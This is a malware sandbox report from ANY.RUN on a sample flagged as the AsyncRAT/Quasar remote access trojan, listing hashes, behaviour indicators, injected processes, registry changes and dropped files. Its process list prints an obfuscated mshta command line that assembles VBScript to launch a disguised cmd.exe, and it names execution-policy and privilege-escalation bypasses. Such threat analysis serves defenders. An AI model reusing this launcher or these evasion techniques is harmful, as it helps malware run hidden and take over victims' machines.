File name:

9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe

Full analysis: https://app.any.run/tasks/3879d3ea-3c66-4b9d-9c38-cbd593cbf83f
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: March 09, 2024, 10:52:58
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
rat
asyncrat
remote
quasar
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64, for MS Windows
MD5:

8338BBDD6AB3AD35C0FBFBEBE29813FE

SHA1:

39F017290209564E34EB7AEC80EB2A91A2F5D2D5

SHA256:

9BF5171DD1229EE3E488E3FD3D2A067A85E227D0ED54E1ED18BBC35A89F698B7

SSDEEP:

98304:ln2ocmU5GYnyNl8YqjV8pJWm6qK8C237bzg0ICYlngn81ISeo/yn8OJdx4tGHRyG:Y+XqDuo/Num/bXZ90U9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)
      • powershell.exe (PID: 1996)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 3004)
      • cmd.exe (PID: 616)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 3220)
      • powershell.exe (PID: 1996)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3220)
      • powershell.exe (PID: 1996)

    • Known privilege escalation attack

      • dllhost.exe (PID: 4200)

    • Actions looks like stealing of personal data

      • svchost.exe (PID: 1760)

    • Starts PowerShell from an unusual location

      • $sxr-cmd.exe (PID: 2428)
      • $sxr-cmd.exe (PID: 5788)

    • Application was injected by another process

      • svchost.exe (PID: 1328)
      • svchost.exe (PID: 452)
      • lsass.exe (PID: 764)
      • svchost.exe (PID: 588)
      • svchost.exe (PID: 1092)
      • svchost.exe (PID: 1180)
      • svchost.exe (PID: 1236)
      • svchost.exe (PID: 1248)
      • svchost.exe (PID: 1320)
      • svchost.exe (PID: 1448)
      • svchost.exe (PID: 1388)
      • svchost.exe (PID: 1500)
      • svchost.exe (PID: 1640)
      • svchost.exe (PID: 1768)
      • svchost.exe (PID: 1760)
      • svchost.exe (PID: 1508)
      • svchost.exe (PID: 1880)
      • svchost.exe (PID: 2284)
      • svchost.exe (PID: 1888)
      • svchost.exe (PID: 1956)
      • svchost.exe (PID: 1968)
      • svchost.exe (PID: 2120)
      • svchost.exe (PID: 1656)
      • svchost.exe (PID: 2884)
      • svchost.exe (PID: 2208)
      • svchost.exe (PID: 2216)
      • svchost.exe (PID: 2360)
      • svchost.exe (PID: 2456)
      • svchost.exe (PID: 2448)
      • svchost.exe (PID: 2464)
      • spoolsv.exe (PID: 2692)
      • svchost.exe (PID: 2508)
      • svchost.exe (PID: 2648)
      • dasHost.exe (PID: 2900)
      • svchost.exe (PID: 1776)
      • svchost.exe (PID: 2320)
      • svchost.exe (PID: 3068)
      • OfficeClickToRun.exe (PID: 3084)
      • svchost.exe (PID: 2432)
      • svchost.exe (PID: 2392)
      • svchost.exe (PID: 3148)
      • svchost.exe (PID: 3104)
      • svchost.exe (PID: 3292)
      • svchost.exe (PID: 3256)
      • svchost.exe (PID: 3308)
      • svchost.exe (PID: 3320)
      • svchost.exe (PID: 3580)
      • svchost.exe (PID: 3696)
      • svchost.exe (PID: 3652)
      • svchost.exe (PID: 3624)
      • svchost.exe (PID: 4228)
      • svchost.exe (PID: 8)
      • svchost.exe (PID: 4456)
      • svchost.exe (PID: 4488)
      • svchost.exe (PID: 4612)
      • svchost.exe (PID: 4604)
      • ctfmon.exe (PID: 4680)
      • explorer.exe (PID: 4848)
      • svchost.exe (PID: 5096)
      • dllhost.exe (PID: 5500)
      • dllhost.exe (PID: 6084)
      • svchost.exe (PID: 712)
      • ApplicationFrameHost.exe (PID: 6612)
      • svchost.exe (PID: 6252)
      • svchost.exe (PID: 6808)
      • MoUsoCoreWorker.exe (PID: 6876)
      • UserOOBEBroker.exe (PID: 7064)
      • svchost.exe (PID: 6964)
      • svchost.exe (PID: 7156)
      • svchost.exe (PID: 4888)
      • svchost.exe (PID: 4864)
      • dllhost.exe (PID: 5416)
      • svchost.exe (PID: 7004)
      • slui.exe (PID: 5224)
      • slui.exe (PID: 5492)
      • WaaSMedicAgent.exe (PID: 2936)
      • WmiPrvSE.exe (PID: 4412)
      • svchost.exe (PID: 680)
      • svchost.exe (PID: 892)
      • svchost.exe (PID: 7020)
      • SppExtComObj.Exe (PID: 1524)
      • svchost.exe (PID: 6692)
      • slui.exe (PID: 944)
      • svchost.exe (PID: 7552)
      • svchost.exe (PID: 7584)

    • Runs injected code in another process

      • $sxr-powershell.exe (PID: 3220)

    • ASYNCRAT has been detected (SURICATA)

      • $sxr-powershell.exe (PID: 3220)

    • QUASAR has been detected (SURICATA)

      • $sxr-powershell.exe (PID: 3220)

    • QUASAR has been detected (YARA)

      • $sxr-powershell.exe (PID: 3220)

  • SUSPICIOUS

    • Starts a Microsoft application from unusual location

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)

    • Starts CMD.EXE for commands execution

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)
      • cmd.exe (PID: 3004)
      • cmd.exe (PID: 616)
      • dllhost.exe (PID: 4200)
      • $sxr-cmd.exe (PID: 2428)
      • $sxr-cmd.exe (PID: 5788)

    • Process drops legitimate windows executable

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)
      • powershell.exe (PID: 1996)

    • Executing commands from a ".bat" file

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)
      • dllhost.exe (PID: 4200)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3004)
      • cmd.exe (PID: 616)

    • Application launched itself

      • cmd.exe (PID: 3004)
      • cmd.exe (PID: 616)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 3004)
      • cmd.exe (PID: 616)

    • The process creates files with name similar to system file names

      • powershell.exe (PID: 1996)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1996)

    • Detected use of alternative data streams (AltDS)

      • svchost.exe (PID: 1760)

    • Creates file in the systems drive root

      • explorer.exe (PID: 4848)

    • Reads security settings of Internet Explorer

      • $sxr-mshta.exe (PID: 456)
      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)

    • The process executes via Task Scheduler

      • $sxr-mshta.exe (PID: 456)

    • Reads the date of Windows installation

      • $sxr-mshta.exe (PID: 456)

    • Reads Microsoft Outlook installation path

      • $sxr-mshta.exe (PID: 456)

    • Reads Internet Explorer settings

      • $sxr-mshta.exe (PID: 456)

    • Starts itself from another location

      • $sxr-cmd.exe (PID: 2428)
      • $sxr-cmd.exe (PID: 5788)

    • Checks Windows Trust Settings

      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)

    • Hides command output

      • $sxr-cmd.exe (PID: 5788)

    • Cryptography encrypted command line is found

      • $sxr-cmd.exe (PID: 5788)

    • Get information on the list of running processes

      • $sxr-powershell.exe (PID: 3220)

    • Adds/modifies Windows certificates

      • lsass.exe (PID: 764)

    • The process checks if it is being run in the virtual environment

      • WmiPrvSE.exe (PID: 4412)

    • Connects to unusual port

      • $sxr-powershell.exe (PID: 3220)

  • INFO

    • Create files in a temporary directory

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)
      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)

    • Checks supported languages

      • 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe (PID: 6512)
      • $sxr-mshta.exe (PID: 456)
      • $sxr-cmd.exe (PID: 2428)
      • $sxr-powershell.exe (PID: 3220)
      • $sxr-cmd.exe (PID: 5788)
      • $sxr-powershell.exe (PID: 5636)

    • Reads the software policy settings

      • lsass.exe (PID: 764)
      • WaaSMedicAgent.exe (PID: 2936)
      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)
      • slui.exe (PID: 7244)
      • slui.exe (PID: 5492)

    • Creates files in the program directory

      • powershell.exe (PID: 3220)
      • MoUsoCoreWorker.exe (PID: 6876)

    • Reads the time zone

      • WmiPrvSE.exe (PID: 4412)

    • Checks transactions between databases Windows and Oracle

      • powershell.exe (PID: 3220)

    • Reads security settings of Internet Explorer

      • dllhost.exe (PID: 4200)

    • Reads Microsoft Office registry keys

      • OfficeClickToRun.exe (PID: 3084)

    • Creates a writable file in the system directory

      • svchost.exe (PID: 1236)

    • Process checks Internet Explorer phishing filters

      • $sxr-mshta.exe (PID: 456)

    • Reads the computer name

      • $sxr-mshta.exe (PID: 456)
      • $sxr-powershell.exe (PID: 3220)
      • $sxr-cmd.exe (PID: 2428)
      • $sxr-cmd.exe (PID: 5788)
      • $sxr-powershell.exe (PID: 5636)

    • Reads Environment values

      • $sxr-mshta.exe (PID: 456)
      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)

    • Process checks computer location settings

      • $sxr-mshta.exe (PID: 456)

    • Process checks Powershell version

      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)

    • Reads the machine GUID from the registry

      • $sxr-powershell.exe (PID: 3220)
      • $sxr-powershell.exe (PID: 5636)

    • Reads Windows Product ID

      • WmiPrvSE.exe (PID: 4412)

    • Checks proxy server information

      • $sxr-powershell.exe (PID: 3220)
      • slui.exe (PID: 7244)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 1980:11:30 13:15:57+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.13
CodeSize: 29696
InitializedDataSize: 11337216
UninitializedDataSize: -
EntryPoint: 0x79b0
OSVersion: 10
ImageVersion: 10
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 11.0.17763.1
ProductVersionNumber: 11.0.17763.1
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Microsoft Corporation
FileDescription: Win32 Cabinet Self-Extractor
FileVersion: 11.00.17763.1 (WinBuild.160101.0800)
InternalName: Wextract
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFileName: WEXTRACT.EXE .MUI
ProductName: Internet Explorer
ProductVersion: 11.00.17763.1
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
150
Monitored processes
104
Malicious processes
15
Suspicious processes
81

Behavior graph

Click at the process to see the details
start 9bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs powershell.exe no specs wmiprvse.exe CMSTPLUA no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs powershell.exe waasmedicagent.exe svchost.exe $sxr-mshta.exe no specs $sxr-cmd.exe no specs conhost.exe no specs cmd.exe no specs #ASYNCRAT $sxr-powershell.exe $sxr-cmd.exe no specs cmd.exe no specs $sxr-powershell.exe no specs slui.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe lsass.exe svchost.exe slui.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe sppextcomobj.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe spoolsv.exe svchost.exe dashost.exe svchost.exe officeclicktorun.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe ctfmon.exe explorer.exe svchost.exe svchost.exe svchost.exe slui.exe dllhost.exe slui.exe dllhost.exe dllhost.exe svchost.exe applicationframehost.exe svchost.exe svchost.exe mousocoreworker.exe svchost.exe svchost.exe svchost.exe useroobebroker.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
8C:\WINDOWS\System32\svchost.exe -k LocalService -p -s LicenseManagerC:\Windows\System32\svchost.exe
services.exe
User:
LOCAL SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
452C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p -s LSMC:\Windows\System32\svchost.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\lsm.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
456C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bdwagIZyqMKABtRmRUfx4312:nXuWlSGO=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"C:\Windows\$sxr-mshta.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\$sxr-mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wldp.dll
c:\windows\system32\mshtml.dll
588C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s gpsvcC:\Windows\System32\svchost.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
616C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\IXP000.TMP\Update.bat" "C:\Windows\System32\cmd.exe—dllhost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
680C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s WdiSystemHostC:\Windows\System32\svchost.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
712C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s AppinfoC:\Windows\System32\svchost.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
764C:\WINDOWS\system32\lsass.exeC:\Windows\System32\lsass.exe
wininit.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Local Security Authority Process
Exit code:
0
Version:
10.0.19041.1266 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\lsass.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\lsasrv.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\sechost.dll
892C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s wlidsvcC:\Windows\System32\svchost.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
944"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=NetworkAvailableC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
Total events
53 807
Read events
53 268
Write events
333
Delete events
206

Modification events

(PID) Process:(892) svchost.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties
Operation:writeName:LID
Value:
0018000E203D7567
(PID) Process:(892) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IdentityCRL
Operation:delete valueName:ClockSkew
Value:
￬￿
(PID) Process:(892) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IdentityCRL\ClockData
Operation:writeName:ClockTimeSeconds
Value:
973FEC6500000000
(PID) Process:(892) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IdentityCRL\ClockData
Operation:writeName:TickCount
Value:
7F820D0000000000
(PID) Process:(3308) svchost.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property
Operation:writeName:0018000E203D7567
Value:
0100000001000000D08C9DDF0115D1118C7A00C04FC297EB010000007F837A1C3D8F0B49BC83234E10CE2D220000000002000000000010660000000100002000000075873668878FA40B36717EE52537B11D01AB89D8CCAB924829ADD1E032A806F1000000000E800000000200002000000040E7A7F4D20C99A48E3EB6EF56CE1274C6D2B2F2774C89C4B1F9D6A09E8816748000000052EC867FCAC3B0C09EF4125AFF293EDAB55452A01466363B5A0F50C9652CE15CA0EA18EDD6454BC6D2C488D7535E2B3052D402DE155A0DAB6104330F6D2696A1FA332E0B97FBA6AB180DE02844B5D12D0CC06C06846A7AEAAFCAD4C0F37A4280C077F51925D1C604E991F9B676512C2AEF8D5B1E4094B8401CF352D434F6DD5640000000A2AF8E1B177A437197A7713EE6560B79D6295E6296C5A0A17C2084939FAE375462CA822FAC20B8FF1E2E6319BDCF09FE1808886804C15B6C1C073A74A144120E
(PID) Process:(3308) svchost.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D80D1001-5B38-49E9-9D34-EC9B84779189}
Operation:writeName:DeviceTicket
Value:
0100000001000000D08C9DDF0115D1118C7A00C04FC297EB010000007F837A1C3D8F0B49BC83234E10CE2D2200000000020000000000106600000001000020000000657B319F151EA2BD24247F80B3181D081D763FF60B8AAAD84D42D52E88E98025000000000E8000000002000020000000EA56E0EA331FD0137587A3F736D57F87C4B769982BD0EC21BB73BAF36D68BC41C00700006296688F87202FFF9602A3077E56283C4B88DE465E3BA46FADA746FBFABE6DEB2DFDD17523B777D6C1B45236A86ADCE9C27A124719C7018A4108867EEF9B13CAA4AA353BFC4A8AC95D9EB82842ACF7FBF67DAB2448C00F304BDD94FDC2A53E4D9254109EE63D89860A56C2188BF16B310CFB6A741CDC10C072A4786A9E07154E1FB5556C94952F03CA524DB01380E742B03F7500D8CA47FA0049E05AD0AD1A45703B61A73E9A091D1CB1FA32960E03A1F9345E1ECD4A645E193E94CCE046B96413487DA91EB1250A71B2C41C856B36C014D7D9D35208949C2D638EAAC8AB37F8B57602277F8981D4163E82C2BBE7042C6C8839E97A08E01D4347AC14EF83B05B4DF47124941A859D1E922CC49665E76745F3A228BDBDD5F4185366CD98F5269830BAC03FAA02553D24BDF5EEA682AE3EF45353F38186978829839779C5887FA4441D3E2AE3ADF59041BC4F7A4D1651FB9C4F160B69BAA19C20A4CD7EE6B6B339614FDCE98790A75AD8A7D0F6CFBADA035C34031EE625B6A30B737BB058142AD8146621CBF2FD1A71499F2EAE56E1B1AB3FB9F5208240FC7305E7A5028E7332954DC8F8442F68CAEB90F6CDB41B041897E28A84A7766D500C8C3BCF269C8ACC6AEAA2B96C653DD08183CCFD6C2A5EE23882CFB7D677E9523A25CCF2DC6325E255F8C4565376B218190F31AA53D76FDF937237DFF7AE80AF168D4ECDA5FA6D53C0159666C3D7AD4BE34B95F7AAF7F23E27181E2CD4F499CD951ECABED9619DB564DC717396838EDB4F0CE04251579A5F7D1B13B8DA33665A8921EEA8318B3A99E9AEA77525348F066EE9A8CDB5D949DD94DCD9371273C0E6C85BBAF7741E8A8AC5C3CCA3E4BC2B86BE343C03E2246BFBDA9B995BDFD517503247B1CE1FDBE545294304B853E9B9FAAFB80283C3C91FE5F8E78990D47ADB456DD622019C812CFB8604DEB3B09F3560532CDCCFDBBFBCCD4BFBCA12492C15F494FF00A897E621DD2489D65A684AF4F05EA6DDD5572525D31BE3D48DBF81F6EAB82ED718D765C00C2BA3258FBE159B4B97E6F2FB7AF3CF268509BB371F2AB61A39927633DD60F683E0C3F695D1D0D93BF0F8769E8A53E102BA0493D43A616F0907711815977DDD8E5E866F7DC19A1390A577213E3A5E410CE45DA9C2B5D9CDD1B1B8406900845370C4A7850A0D82C2AF076760019526B254E10E31305D02ED81683F2BE550F834EF0AFED95F8C0A2F086FB3499101523285AC1AC17C1FBD6EA4576023FF9875B0317D191A999EFEE03ADD8FAD6896A28BFF2BAE32ADE65F927E0DF62F75F311B0264C547C980AAE6E952F08D089CFBB3144B8BCBB4977F3550E9911644850ADA9ABAF161AE009903273842D07E1F278D18980FC00DD9A7FF62BE88463CCE0287E75A3830EBAF80E541012C71A6CF4E1A1DE45CE7683BE20E3EFED0B48849E97BC4B12A817A687AA1FF041BC26E7E8CB0ACCEEE5B0A3E9A22F5710C404E2D31FE1BE8ADC527CD1EEFE43B90D7058DE33B495D4266B421CC14D737ED3AB4D303A234DDC090199A92187E46B9832A4963C68DAB2FECA78EE00489BECDCBFAAD8E01A75508322DA187D73228AC631B01F7452456FE247F5B348A4280402A98C15C673CE8758FB9FFC7977037B505862A9FF8F45F61689213D7C0D9F9596AD47B96C743CF553AEF52B4923DB1D0D05CEFEFFA49229D1844895FB4C912F6881859C263D478BFC696684FD90F783B2781834C046BD396628A146CFD816C4FA575FADE322DCD041BA494FE78848A3BC2727EEF483568EFBA30B2B094E7701B8223D542E88E0583952AC2962A9A13A0D779615533CA8419F5ED6F8FE01FBD3DF5EFC4621F11EEA785BAA7813DC888ED8F10BE95B7FD04DE319BF54180CF8B54A934E699754222C5B22E17D4C571C1CC0A9AAE10CCD85769CE70AABC96CE72D6A2756AE71E1CE864520660E93BCF89474D44CBD65E4910760A24DC33781870E1325E87200C95CD5125B8BF406C43CAC91DF5D27978333AB33C3DFAF59CBBD6CBD470EB54E56611570890D43C05ABAC72A2CD491DF2A427095BCDA96EDBA424BB5053E06F5DBCFAA940FE182C4F452D520A7DC8E1FE6C8C48044A51900A64E1FA546204D839012E764F172FD9E64A972201C3DEB346966A323942BA538B8648B64E02869AFE8A835EF22F4E6D858E238C512344FEC7F0BF070F146F5D272AA0DD48B52CBFB1F0D80000314FD84468F645D3A80A1E0192D5BBCC5824853E44D30C1F37EE48021F96789A1F92D2BF186FA6F3B0B2843954EE0F07D2EDAE675A2E68F6F480176F623B1503F6857A0F5450E407BF24C6C1828747AA5B0947EBCD0624BF4D2A6D395110C4BD6A773827AB98B90B9C60EFB5451EA5E135EA12C39BC2B67E1B1BE3B3F132B69FF89337C7067327F9858CB9CB0EB995B21E94DDB553F964A81E66025D221506190141DEACBA6FFD571DAE0366B3B22824ED0448A3C522B5DB4EFDA849D4D9DF0FBF2F30D51895F7A7D6D692FE349E85ECDE47DBDF1677FDC16F3B2E1909349F47B9C331BB60E1829024F3A6D395F20ACE137EFB36B7DBFEFD274F8F31D9A128A43FB39FB3D2212678A1CB848D5386C68458C48608731B9856C14B6D4B304F57187B804E9B4F6790E6567C635E808D6D94274C7F3BEC469473F6F5513841770ED7A0553825089D4220082666A9A529FF88412815F4D704FA7A25995DB7420EB11056562A5E57F177F75E71232D1DC3C93638E71EB35DA2D42A342187F805B946CA0B762426A5776CAFB4C2C220F75404E5C52C82B982CFA486F85246EBBF7A840000000DE77FBBF1BE074DA41864F4B94D34E15010F5C64CA823197572F25F4FFDD5359878167D5AEC86C4B1B291D89D0B8BD005552F749519EF454BBF9D9DE867D2216
(PID) Process:(3308) svchost.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D80D1001-5B38-49E9-9D34-EC9B84779189}
Operation:writeName:DeviceId
Value:
0018000E203D7567
(PID) Process:(3308) svchost.exeKey:HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D80D1001-5B38-49E9-9D34-EC9B84779189}
Operation:writeName:ApplicationFlags
Value:
1
(PID) Process:(3220) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3220) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
3
Suspicious files
9
Text files
13
Unknown types
21

Dropped files

PID
Process
Filename
Type
65129bf5171dd1229ee3e488e3fd3d2a067a85e227d0ed54e1ed18bbc35a89f698b7.exeC:\Users\admin\AppData\Local\Temp\IXP000.TMP\Update.bat —
MD5:—
SHA256:—
3220powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0bdb2ils.b4z.ps1text
